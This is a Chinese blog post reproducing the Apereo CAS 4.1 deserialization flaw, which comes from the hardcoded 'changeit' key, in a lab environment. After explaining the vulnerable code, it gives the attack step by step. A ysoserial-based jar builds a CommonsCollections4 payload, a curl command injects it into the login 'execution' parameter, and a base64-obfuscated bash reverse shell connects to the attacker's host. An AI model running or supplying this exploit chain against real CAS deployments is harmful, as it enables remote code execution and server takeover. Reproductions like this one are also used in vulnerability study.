ManTou
发布于 IP属地安徽省

Apereo CAS 4.1 反序列化漏洞复现

ApereoCAS 4.1反序列化主要造成原因是对加解密利用了默认硬编码的密钥 changeit ,从字义上看,应该是开发人员想让使用者“更改它”
漏洞介绍

CAS使用Spring Web Flow管理登录流程,将流程执行状态加密后存储在客户端的execution,但解密时EncryptedTranscoder()使用了硬编码密钥changeit

使用了默认密钥

public EncryptedTranscoder() throws IOException {
    BufferedBlockCipherBean bufferedBlockCipherBean = new BufferedBlockCipherBean();
    bufferedBlockCipherBean.setBlockCipherSpec(
        new BufferedBlockCipherSpec("AES", "CBC", "PKCS7") // 使用AES-CBC模式
    );
    bufferedBlockCipherBean.setKeyStore(this.createAndPrepareKeyStore());
    bufferedBlockCipherBean.setKeyAlias("aes128");
    bufferedBlockCipherBean.setKeyPassword("changeit"); // 硬编码默认密钥
    bufferedBlockCipherBean.setNonce(new RBGNonce());
    this.setCipherBean(bufferedBlockCipherBean);
}

decode()对数据进行实例化,未作过滤,触发RCE

  public Object decode(final byte[] encoded) throws IOException {
    final byte[] data;
    try {
        data = cipherBean.decrypt(encoded);
    } catch (Exception e) {
        throw new IOException("Decryption error", e);
    }
    final ByteArrayInputStream inBuffer = new ByteArrayInputStream(data);
    ObjectInputStream in = null;
    try {
        if (this.compression) {
            in = new ObjectInputStream(new GZIPInputStream(inBuffer));
        } else {
            in = new ObjectInputStream(inBuffer);
        }
        return in.readObject();//实例化,触发RCE
    } catch (ClassNotFoundException e) {
        throw new IOException("Deserialization error", e);
    } finally {
        if (in != null) {
            in.close();
        }
    }
}
漏洞复现

靶机
开启docker环境,并tcpdump抓取对应数据包,用于以后流量分析

攻击机
打开bp抓取登录包

我们要做的就是通过改变execution参数来造成rce,这里本来想利用kali本身自带的jdk21再通过--add-opens生成payload,但是不行
因为ysoserial 依赖的 permit 库在较新的 JDK(如 JDK 11+、JDK 17+)中找不到java.lang.reflect.AccessibleObject 类的 override 字段

ysoserial 是apereo-cas-attack的核心依赖,可以理解成基于ysoserial二开的专门对于apereo-cas的工具

我只好下载jdk8压缩包在kali里面解压,然后加入环境变量,在新的shell会话中执行,也是非常快速啊

  java -jar /hack/apereo-cas/apereo-cas-attack-1.0-SNAPSHOT-all.jar CommonsCollections4 "mkdir /tmp/hack" > /hack/apereo-cas/payload

之后利用curl发送数据包,我发送单个数据包喜欢利用curl发送,因为Linux的粘贴比较麻烦

读取文件内容并赋值给变量(注意:文件内容不应有换行符)

execution_value=$(cat /hack/apereo-cas/payload | tr -d '\n')

curl -X POST 'http://192.168.203.132:8080/cas/login;jsessionid=7E7C140F7D2CF0458436B97D71DCC622' \
  -H 'User-Agent: I am a hacker' \
  -H 'Cookie: JSESSIONID=7E7C140F7D2CF0458436B97D71DCC622' \
  -H 'Priority: u=0, i' \
  --data-raw "username=admin&password=admin&lt=LT-1-kH2fQyuJUMWIMYMcElsvHztXaFb0zc-cas01.example.org&execution=${execution_value}&_eventId=submit&submit=LOGIN"

发送之后到环境中查看


可以看到这里是触发了RCE,那么现在进行反弹shell

  java -jar /hack/apereo-cas/apereo-cas-attack-1.0-SNAPSHOT-all.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMy4xMzMvMTIzIDA+JjE=}|{base64,-d}|{bash,-i}" > /hack/apereo-cas/payload


监听123端口,将命令进行base64编码,再次发送即可

完成复现

浏览 (39)
点赞 (3)
收藏
打赏
评论